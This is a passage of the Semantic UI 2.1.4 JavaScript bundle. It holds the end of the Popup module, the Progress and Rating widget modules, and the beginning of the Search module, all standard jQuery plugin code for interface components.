returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.popup.settings = { name : 'Popup', // module settings debug : false, verbose : false, performance : true, namespace : 'popup', // callback only when element added to dom onCreate : function(){}, // callback before element removed from dom onRemove : function(){}, // callback before show animation onShow : function(){}, // callback after show animation onVisible : function(){}, // callback before hide animation onHide : function(){}, // callback after hide animation onHidden : function(){}, // when to show popup on : 'hover', // whether to add touchstart events when using hover addTouchEvents : true, // default position relative to element position : 'top left', // name of variation to use variation : '', // whether popup should be moved to context movePopup : true, // element which popup should be relative to target : false, // jq selector or element that should be used as popup popup : false, // popup should remain inline next to activator inline : false, // popup should be removed from page on hide preserve : false, // popup should not close when being hovered on hoverable : false, // explicitly set content content : false, // explicitly set html html : false, // explicitly set title title : false, // whether automatically close on clickaway when on click closable : true, // automatically hide on scroll hideOnScroll : 'auto', // hide other popups on show exclusive : false, // context to attach popups context : 'body', // position to prefer when calculating new position prefer : 'opposite', // specify position to appear even if it doesn't fit lastResort : false, // delay used to prevent accidental refiring of animations due to user error delay : { show : 50, hide : 70 }, // whether fluid variation should assign width explicitly setFluidWidth : true, // transition settings duration : 200, transition : 'scale', // distance away from activating element in px distanceAway : 0, // number of pixels an element is allowed to be "offstage" for a position to be chosen (allows for rounding) jitter : 2, // offset on aligning axis from calculated position offset : 0, // maximum times to look for a position before failing (9 positions total) maxSearchDepth : 15, error: { invalidPosition : 'The position you specified is not a valid position', cannotPlace : 'Popup does not fit within the boundaries of the viewport', method : 'The method you called is not defined.', noTransition : 'This module requires ui transitions <https://github.com/Semantic-Org/UI-Transition>', notFound : 'The target or popup you specified does not exist on the page' }, metadata: { activator : 'activator', content : 'content', html : 'html', offset : 'offset', position : 'position', title : 'title', variation : 'variation' }, className : { active : 'active', animating : 'animating', dropdown : 'dropdown', fluid : 'fluid', loading : 'loading', popup : 'ui popup', position : 'top left center bottom right', visible : 'visible' }, selector : { popup : '.ui.popup' }, templates: { escape: function(string) { var badChars = /[&<>"'`]/g, shouldEscape = /[&<>"'`]/, escape = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#x27;", "`": "&#x60;" }, escapedChar = function(chr) { return escape[chr]; } ; if(shouldEscape.test(string)) { return string.replace(badChars, escapedChar); } return string; }, popup: function(text) { var html = '', escape = $.fn.popup.settings.templates.escape ; if(typeof text !== undefined) { if(typeof text.title !== undefined && text.title) { text.title = escape(text.title); html += '<div class="header">' + text.title + '</div>'; } if(typeof text.content !== undefined && text.content) { text.content = escape(text.content); html += '<div class="content">' + text.content + '</div>'; } } return html; } } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Progress * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.progress = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.progress.settings, parameters) : $.extend({}, $.fn.progress.settings), className = settings.className, metadata = settings.metadata, namespace = settings.namespace, selector = settings.selector, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, $module = $(this), $bar = $(this).find(selector.bar), $progress = $(this).find(selector.progress), $label = $(this).find(selector.label), element = this, instance = $module.data(moduleNamespace), animating = false, transitionEnd, module ; module = { initialize: function() { module.debug('Initializing progress bar', settings); module.set.duration(); module.set.transitionEvent(); module.read.metadata(); module.read.settings(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of progress', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous progress for', $module); clearInterval(instance.interval); module.remove.state(); $module.removeData(moduleNamespace); instance = undefined; }, reset: function() { module.set.percent(0); }, complete: function() { if(module.percent === undefined || module.percent < 100) { module.set.percent(100); } }, read: { metadata: function() { var data = { percent : $module.data(metadata.percent), total : $module.data(metadata.total), value : $module.data(metadata.value) } ; if(data.percent) { module.debug('Current percent value set from metadata', data.percent); module.set.percent(data.percent); } if(data.total) { module.debug('Total value set from metadata', data.total); module.set.total(data.total); } if(data.value) { module.debug('Current value set from metadata', data.value); module.set.value(data.value); module.set.progress(data.value); } }, settings: function() { if(settings.total !== false) { module.debug('Current total set in settings', settings.total); module.set.total(settings.total); } if(settings.value !== false) { module.debug('Current value set in settings', settings.value); module.set.value(settings.value); module.set.progress(module.value); } if(settings.percent !== false) { module.debug('Current percent set in settings', settings.percent); module.set.percent(settings.percent); } } }, increment: function(incrementValue) { var maxValue, startValue, newValue ; if( module.has.total() ) { startValue = module.get.value(); incrementValue = incrementValue || 1; newValue = startValue + incrementValue; maxValue = module.get.total(); module.debug('Incrementing value', startValue, newValue, maxValue); if(newValue > maxValue ) { module.debug('Value cannot increment above total', maxValue); newValue = maxValue; } } else { startValue = module.get.percent(); incrementValue = incrementValue || module.get.randomValue(); newValue = startValue + incrementValue; maxValue = 100; module.debug('Incrementing percentage by', startValue, newValue); if(newValue > maxValue ) { module.debug('Value cannot increment above 100 percent'); newValue = maxValue; } } module.set.progress(newValue); }, decrement: function(decrementValue) { var total = module.get.total(), startValue, newValue ; if(total) { startValue = module.get.value(); decrementValue = decrementValue || 1; newValue = startValue - decrementValue; module.debug('Decrementing value by', decrementValue, startValue); } else { startValue = module.get.percent(); decrementValue = decrementValue || module.get.randomValue(); newValue = startValue - decrementValue; module.debug('Decrementing percentage by', decrementValue, startValue); } if(newValue < 0) { module.debug('Value cannot decrement below 0'); newValue = 0; } module.set.progress(newValue); }, has: { total: function() { return (module.get.total() !== false); } }, get: { text: function(templateText) { var value = module.value || 0, total = module.total || 0, percent = (animating) ? module.get.displayPercent() : module.percent || 0, left = (module.total > 0) ? (total - value) : (100 - percent) ; templateText = templateText || ''; templateText = templateText .replace('{value}', value) .replace('{total}', total) .replace('{left}', left) .replace('{percent}', percent) ; module.debug('Adding variables to progress bar text', templateText); return templateText; }, randomValue: function() { module.debug('Generating random increment percentage'); return Math.floor((Math.random() * settings.random.max) + settings.random.min); }, numericValue: function(value) { return (typeof value === 'string') ? (value.replace(/[^\d.]/g, '') !== '') ? +(value.replace(/[^\d.]/g, '')) : false : value ; }, transitionEnd: function() { var element = document.createElement('element'), transitions = { 'transition' :'transitionend', 'OTransition' :'oTransitionEnd', 'MozTransition' :'transitionend', 'WebkitTransition' :'webkitTransitionEnd' }, transition ; for(transition in transitions){ if( element.style[transition] !== undefined ){ return transitions[transition]; } } }, // gets current displayed percentage (if animating values this is the intermediary value) displayPercent: function() { var barWidth = $bar.width(), totalWidth = $module.width(), minDisplay = parseInt($bar.css('min-width'), 10), displayPercent = (barWidth > minDisplay) ? (barWidth / totalWidth * 100) : module.percent ; return (settings.precision > 0) ? Math.round(displayPercent * (10 * settings.precision)) / (10 * settings.precision) : Math.round(displayPercent) ; }, percent: function() { return module.percent || 0; }, value: function() { return module.value || 0; }, total: function() { return module.total || false; } }, is: { success: function() { return $module.hasClass(className.success); }, warning: function() { return $module.hasClass(className.warning); }, error: function() { return $module.hasClass(className.error); }, active: function() { return $module.hasClass(className.active); }, visible: function() { return $module.is(':visible'); } }, remove: { state: function() { module.verbose('Removing stored state'); delete module.total; delete module.percent; delete module.value; }, active: function() { module.verbose('Removing active state'); $module.removeClass(className.active); }, success: function() { module.verbose('Removing success state'); $module.removeClass(className.success); }, warning: function() { module.verbose('Removing warning state'); $module.removeClass(className.warning); }, error: function() { module.verbose('Removing error state'); $module.removeClass(className.error); } }, set: { barWidth: function(value) { if(value > 100) { module.error(error.tooHigh, value); } else if (value < 0) { module.error(error.tooLow, value); } else { $bar .css('width', value + '%') ; $module .attr('data-percent', parseInt(value, 10)) ; } }, duration: function(duration) { duration = duration || settings.duration; duration = (typeof duration == 'number') ? duration + 'ms' : duration ; module.verbose('Setting progress bar transition duration', duration); $bar .css({ 'transition-duration': duration }) ; }, percent: function(percent) { percent = (typeof percent == 'string') ? +(percent.replace('%', '')) : percent ; // round display percentage percent = (settings.precision > 0) ? Math.round(percent * (10 * settings.precision)) / (10 * settings.precision) : Math.round(percent) ; module.percent = percent; if( !module.has.total() ) { module.value = (settings.precision > 0) ? Math.round( (percent / 100) * module.total * (10 * settings.precision)) / (10 * settings.precision) : Math.round( (percent / 100) * module.total * 10) / 10 ; if(settings.limitValues) { module.value = (module.value > 100) ? 100 : (module.value < 0) ? 0 : module.value ; } } module.set.barWidth(percent); module.set.labelInterval(); module.set.labels(); settings.onChange.call(element, percent, module.value, module.total); }, labelInterval: function() { var animationCallback = function() { module.verbose('Bar finished animating, removing continuous label updates'); clearInterval(module.interval); animating = false; module.set.labels(); } ; clearInterval(module.interval); $bar.one(transitionEnd + eventNamespace, animationCallback); module.timer = setTimeout(animationCallback, settings.duration + 100); animating = true; module.interval = setInterval(module.set.labels, settings.framerate); }, labels: function() { module.verbose('Setting both bar progress and outer label text'); module.set.barLabel(); module.set.state(); }, label: function(text) { text = text || ''; if(text) { text = module.get.text(text); module.debug('Setting label to text', text); $label.text(text); } }, state: function(percent) { percent = (percent !== undefined) ? percent : module.percent ; if(percent === 100) { if(settings.autoSuccess && !(module.is.warning() || module.is.error())) { module.set.success(); module.debug('Automatically triggering success at 100%'); } else { module.verbose('Reached 100% removing active state'); module.remove.active(); } } else if(percent > 0) { module.verbose('Adjusting active progress bar label', percent); module.set.active(); } else { module.remove.active(); module.set.label(settings.text.active); } }, barLabel: function(text) { if(text !== undefined) { $progress.text( module.get.text(text) ); } else if(settings.label == 'ratio' && module.total) { module.debug('Adding ratio to bar label'); $progress.text( module.get.text(settings.text.ratio) ); } else if(settings.label == 'percent') { module.debug('Adding percentage to bar label'); $progress.text( module.get.text(settings.text.percent) ); } }, active: function(text) { text = text || settings.text.active; module.debug('Setting active state'); if(settings.showActivity && !module.is.active() ) { $module.addClass(className.active); } module.remove.warning(); module.remove.error(); module.remove.success(); if(text) { module.set.label(text); } settings.onActive.call(element, module.value, module.total); }, success : function(text) { text = text || settings.text.success; module.debug('Setting success state'); $module.addClass(className.success); module.remove.active(); module.remove.warning(); module.remove.error(); module.complete(); if(text) { module.set.label(text); } settings.onSuccess.call(element, module.total); }, warning : function(text) { text = text || settings.text.warning; module.debug('Setting warning state'); $module.addClass(className.warning); module.remove.active(); module.remove.success(); module.remove.error(); module.complete(); if(text) { module.set.label(text); } settings.onWarning.call(element, module.value, module.total); }, error : function(text) { text = text || settings.text.error; module.debug('Setting error state'); $module.addClass(className.error); module.remove.active(); module.remove.success(); module.remove.warning(); module.complete(); if(text) { module.set.label(text); } settings.onError.call(element, module.value, module.total); }, transitionEvent: function() { transitionEnd = module.get.transitionEnd(); }, total: function(totalValue) { module.total = totalValue; }, value: function(value) { module.value = value; }, progress: function(value) { var numericValue = module.get.numericValue(value), percentComplete ; if(numericValue === false) { module.error(error.nonNumeric, value); } if( module.has.total() ) { module.set.value(numericValue); percentComplete = (numericValue / module.total) * 100; module.debug('Calculating percent complete from total', percentComplete); module.set.percent( percentComplete ); } else { percentComplete = numericValue; module.debug('Setting value to exact percentage value', percentComplete); module.set.percent( percentComplete ); } } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.progress.settings = { name : 'Progress', namespace : 'progress', debug : false, verbose : false, performance : true, random : { min : 2, max : 5 }, duration : 300, autoSuccess : true, showActivity : true, limitValues : true, label : 'percent', precision : 0, framerate : (1000 / 30), /// 30 fps percent : false, total : false, value : false, onChange : function(percent, value, total){}, onSuccess : function(total){}, onActive : function(value, total){}, onError : function(value, total){}, onWarning : function(value, total){}, error : { method : 'The method you called is not defined.', nonNumeric : 'Progress value is non numeric', tooHigh : 'Value specified is above 100%', tooLow : 'Value specified is below 0%' }, regExp: { variable: /\{\$*[A-z0-9]+\}/g }, metadata: { percent : 'percent', total : 'total', value : 'value' }, selector : { bar : '> .bar', label : '> .label', progress : '.bar > .progress' }, text : { active : false, error : false, success : false, warning : false, percent : '{percent}%', ratio : '{value} of {total}' }, className : { active : 'active', error : 'error', success : 'success', warning : 'warning' } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Rating * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ($, window, document, undefined) { "use strict"; $.fn.rating = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $allModules .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.rating.settings, parameters) : $.extend({}, $.fn.rating.settings), namespace = settings.namespace, className = settings.className, metadata = settings.metadata, selector = settings.selector, error = settings.error, eventNamespace = '.' + namespace, moduleNamespace = 'module-' + namespace, element = this, instance = $(this).data(moduleNamespace), $module = $(this), $icon = $module.find(selector.icon), module ; module = { initialize: function() { module.verbose('Initializing rating module', settings); if($icon.length === 0) { module.setup.layout(); } if(settings.interactive) { module.enable(); } else { module.disable(); } module.set.rating( module.get.initialRating() ); module.instantiate(); }, instantiate: function() { module.verbose('Instantiating module', settings); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying previous instance', instance); module.remove.events(); $module .removeData(moduleNamespace) ; }, refresh: function() { $icon = $module.find(selector.icon); }, setup: { layout: function() { var maxRating = module.get.maxRating(), html = $.fn.rating.settings.templates.icon(maxRating) ; module.debug('Generating icon html dynamically'); $module .html(html) ; module.refresh(); } }, event: { mouseenter: function() { var $activeIcon = $(this) ; $activeIcon .nextAll() .removeClass(className.selected) ; $module .addClass(className.selected) ; $activeIcon .addClass(className.selected) .prevAll() .addClass(className.selected) ; }, mouseleave: function() { $module .removeClass(className.selected) ; $icon .removeClass(className.selected) ; }, click: function() { var $activeIcon = $(this), currentRating = module.get.rating(), rating = $icon.index($activeIcon) + 1, canClear = (settings.clearable == 'auto') ? ($icon.length === 1) : settings.clearable ; if(canClear && currentRating == rating) { module.clearRating(); } else { module.set.rating( rating ); } } }, clearRating: function() { module.debug('Clearing current rating'); module.set.rating(0); }, bind: { events: function() { module.verbose('Binding events'); $module .on('mouseenter' + eventNamespace, selector.icon, module.event.mouseenter) .on('mouseleave' + eventNamespace, selector.icon, module.event.mouseleave) .on('click' + eventNamespace, selector.icon, module.event.click) ; } }, remove: { events: function() { module.verbose('Removing events'); $module .off(eventNamespace) ; } }, enable: function() { module.debug('Setting rating to interactive mode'); module.bind.events(); $module .removeClass(className.disabled) ; }, disable: function() { module.debug('Setting rating to read-only mode'); module.remove.events(); $module .addClass(className.disabled) ; }, get: { initialRating: function() { if($module.data(metadata.rating) !== undefined) { $module.removeData(metadata.rating); return $module.data(metadata.rating); } return settings.initialRating; }, maxRating: function() { if($module.data(metadata.maxRating) !== undefined) { $module.removeData(metadata.maxRating); return $module.data(metadata.maxRating); } return settings.maxRating; }, rating: function() { var currentRating = $icon.filter('.' + className.active).length ; module.verbose('Current rating retrieved', currentRating); return currentRating; } }, set: { rating: function(rating) { var ratingIndex = (rating - 1 >= 0) ? (rating - 1) : 0, $activeIcon = $icon.eq(ratingIndex) ; $module .removeClass(className.selected) ; $icon .removeClass(className.selected) .removeClass(className.active) ; if(rating > 0) { module.verbose('Setting current rating to', rating); $activeIcon .prevAll() .andSelf() .addClass(className.active) ; } settings.onRate.call(element, rating); } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; $.fn.rating.settings = { name : 'Rating', namespace : 'rating', debug : false, verbose : false, performance : true, initialRating : 0, interactive : true, maxRating : 4, clearable : 'auto', onRate : function(rating){}, error : { method : 'The method you called is not defined', noMaximum : 'No maximum rating specified. Cannot generate HTML automatically' }, metadata: { rating : 'rating', maxRating : 'maxRating' }, className : { active : 'active', disabled : 'disabled', selected : 'selected', loading : 'loading' }, selector : { icon : '.icon' }, templates: { icon: function(maxRating) { var icon = 1, html = '' ; while(icon <= maxRating) { html += '<i class="icon"></i>'; icon++; } return html; } } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Search * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ($, window, document, undefined) { "use strict"; $.fn.search = function(parameters) { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], query = arguments[0], methodInvoked = (typeof query == 'string'), queryArguments = [].slice.call(arguments, 1), returnedValue ; $(this) .each(function() { var settings = ( $.isPlainObject(parameters) ) ? $.extend(true, {}, $.fn.search.settings, parameters) : $.extend({}, $.fn.search.settings), className = settings.className, metadata = settings.metadata, regExp = settings.regExp, fields = settings.fields, selector = settings.selector, error = settings.error, namespace = settings.namespace, eventNamespace = '.' + namespace, moduleNamespace = namespace + '-module', $module = $(this), $prompt = $module.find(selector.prompt), $searchButton = $module.find(selector.searchButton), $results = $module.find(selector.results), $result = $module.find(selector.result), $category = $module.find(selector.category), element = this, instance = $module.data(moduleNamespace), module ; module = { initialize: function() { module.verbose('Initializing module'); module.determine.searchFields(); module.bind.events(); module.set.type(); module.create.results(); module.instantiate(); }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, module) ; }, destroy: function() { module.verbose('Destroying instance'); $module .off(eventNamespace) .removeData(moduleNamespace) ; }, bind: { events: function() { module.verbose('Binding events to search'); if(settings.automatic) { $module .on(module.get.inputEvent() + eventNamespace, selector.prompt, module.event.input) ; $prompt .attr('autocomplete', 'off') ; } $module // prompt .on('focus' + eventNamespace, selector.prompt, module.event.focus) .on('blur' + eventNamespace, selector.prompt, module.event.blur) .on('keydown' + eventNamespace, selector.prompt, module.handleKeyboard) // search button .on('click' + eventNamespace, selector.searchButton, module.query) // results .on('mousedown' + eventNamespace, selector.results, module.event.result.mousedown) .on('mouseup' + eventNamespace, selector.results, module.event.result.mouseup) .on('click' + eventNamespace, selector.result, module.event.result.click) ; } }, determine: { searchFields: function() { // this makes sure $.extend does not add specified search fields to default fields // this is the only setting which should not extend defaults if(parameters && parameters.searchFields !== undefined) { settings.searchFields = parameters.searchFields; } } }, event: { input: function() { clearTimeout(module.timer); module.timer = setTimeout(module.query, settings.searchDelay); }, focus: function() { module.set.focus(); if( module.has.minimumCharacters() ) { module.query(); if( module.can.show() ) { module.showResults(); } } }, blur: function(event) { var pageLostFocus = (document.activeElement === this) ; if(!pageLostFocus && !module.resultsClicked) { module.cancel.query(); module.remove.focus(); module.timer = setTimeout(module.hideResults, settings.hideDelay); } }, result: { mousedown: function() { module.resultsClicked = true; }, mouseup: function() { module.resultsClicked = false; }, click: function(event) { module.debug('Search result selected'); var $result = $(this), $title = $result.find(selector.title).eq(0), $link = $result.find('a[href]').eq(0), href = $link.attr('href') || false, target = $link.attr('target') || false, title = $title.html(), // title is used for result lookup value = ($title.length > 0) ? $title.text() : false, results = module.get.results(), result = $result.data(metadata.result) || module.get.result(value, results), returnedValue ; if( $.isFunction(settings.onSelect) ) { if(settings.onSelect.call(element, result, results) === false) { module.debug('Custom onSelect callback cancelled default select action'); return; } } module.hideResults(); if(value) { module.set.value(value); } if(href) { module.verbose('Opening search link found in result', $link); if(target == '_blank' || event.ctrlKey) { window.open(href); } else { window.location.href = (href); } } } } }, handleKeyboard: function(event) { var // force selector refresh $result = $module.find(selector.result), $category = $module.find(selector.category), currentIndex = $result.index( $result.filter('.' + className.active) ), resultSize = $result.length, keyCode = event.which, keys = { backspace : 8, enter : 13, escape : 27, upArrow : 38, downArrow : 40 }, newIndex ; // search shortcuts if(keyCode == keys.escape) { module.verbose('Escape key pressed, blurring search field'); $prompt .trigger('blur') ; } if( module.is.visible() ) { if(keyCode == keys.enter) { module.verbose('Enter key pressed, selecting active result'); if( $result.filter('.' + className.active).length > 0 ) { module.event.result.click.call($result.filter('.' + className.active), event); event.preventDefault(); return false; } } else if(keyCode == keys.upArrow) { module.verbose('Up key pressed, changing active result'); newIndex = (currentIndex - 1 < 0) ? currentIndex : currentIndex - 1 ; $category .removeClass(className.active) ; $result .removeClass(className.active) .eq(newIndex) .addClass(className.active) .closest($category) .addClass(className.active) ; event.preventDefault(); } else if(keyCode == keys.downArrow) { module.verbose('Down key pressed, changing active result'); newIndex = (currentIndex + 1 >= resultSize) ? currentIndex : currentIndex + 1 ; $category .removeClass(className.active) ; $result .removeClass(className.active) .eq(newIndex) .addClass(className.active) .closest($category) .addClass(className.active) ; event.preventDefault(); } } else { // query shortcuts if(keyCode == keys.enter) { module.verbose('Enter key pressed, executing query'); module.query(); module.set.buttonPressed(); $prompt.one('keyup', module.remove.buttonFocus); } } }, setup: { api: function() { var apiSettings = { debug : settings.debug, on : false, cache : 'local', action : 'search', onError : module.error }, searchHTML ; module.verbose('First request, initializing API'); $module.api(apiSettings); } }, can: { useAPI: function() { return $.fn.api !== undefined; }, show: function() { return module.is.focused() && !module.is.visible() && !module.is.empty(); }, transition: function() { return settings.transition && $.fn.transition !== undefined && $module.transition('is supported'); } }, is: { empty: function() { return ($results.html() === ''); }, visible: function() { return ($results.filter(':visible').length > 0); }, focused: function() { return ($prompt.filter(':focus').length > 0); } }, get: { inputEvent: function() { var prompt = $prompt[0], inputEvent = (prompt !== undefined && prompt.oninput !== undefined) ? 'input' : (prompt !== undefined && prompt.onpropertychange !== undefined) ? 'propertychange' : 'keyup' ; return inputEvent; }, value: function() { return $prompt.val(); }, results: function() { var results = $module.data(metadata.results) ; return results; }, result: function(value, results) { var lookupFields = ['title', 'id'], result = false ; value = (value !== undefined) ? value : module.get.value() ; results = (results !== undefined) ? results : module.get.results() ; if(settings.type === 'category') { module.debug('Finding result that matches', value); $.each(results, function(index, category) { if($.isArray(category.results)) { result = module.search.object(value, category.results, lookupFields)[0]; // don't continue searching if a result is found if(result) { return false; } } }); } else { module.debug('Finding result in results object', value); result = module.search.object(value, results, lookupFields)[0]; } return result || false; }, }, set: { focus: function() { $module.addClass(className.focus); }, loading: function() { $module.addClass(className.loading); }, value: function(value) { module.verbose('Setting search input value', value); $prompt .val(value) ; }, type: function(type) { type = type || settings.type; if(settings.type == 'category') { $module.addClass(settings.type); } }, buttonPressed: function() { $searchButton.addClass(className.pressed); } }, remove: { loading: function() { $module.removeClass(className.loading); }, focus: function() { $module.removeClass(className.focus); }, buttonPressed: function() { $searchButton.removeClass(className.pressed); } }, query: function() { var searchTerm = module.get.value(), cache = module.read.cache(searchTerm) ; if( module.has.minimumCharacters() ) { if(cache) { module.debug('Reading result from cache', searchTerm); module.save.results(cache.results); module.addResults(cache.html); module.inject.id(cache.results); } else { module.debug('Querying for', searchTerm); if($.isPlainObject(settings.source) || $.isArray(settings.source)) { module.search.local(searchTerm); } else if( module.can.useAPI() ) { module.search.remote(searchTerm); } else { module.error(error.source); } settings.onSearchQuery.call(element, searchTerm); } } else { module.hideResults(); } }, search: { local: function(searchTerm) { var results = module.search.object(searchTerm, settings.content), searchHTML ; module.set.loading(); module.save.results(results); module.debug('Returned local search results', results); searchHTML = module.generateResults({ results: results }); module.remove.loading(); module.addResults(searchHTML); module.inject.id(results); module.write.cache(searchTerm, { html : searchHTML, results : results }); }, remote: function(searchTerm) { var apiSettings = { onSuccess : function(response) { module.parse.response.call(element, response, searchTerm); }, onFailure: function() { module.displayMessage(error.serverError); }, urlData: { query: searchTerm } } ; if( !$module.api('get request') ) { module.setup.api(); } $.extend(true, apiSettings, settings.apiSettings); module.debug('Executing search', apiSettings); module.cancel.query(); $module .api('setting', apiSettings) .api('query') ; }, object: function(searchTerm, source, searchFields) { var results = [], fuzzyResults = [], searchExp = searchTerm.toString().replace(regExp.escape, '\\$&'), matchRegExp = new RegExp(regExp.beginsWith + searchExp, 'i'), // avoid duplicates when pushing results addResult = function(array, result) { var notResult = ($.inArray(result, results) == -1), notFuzzyResult = 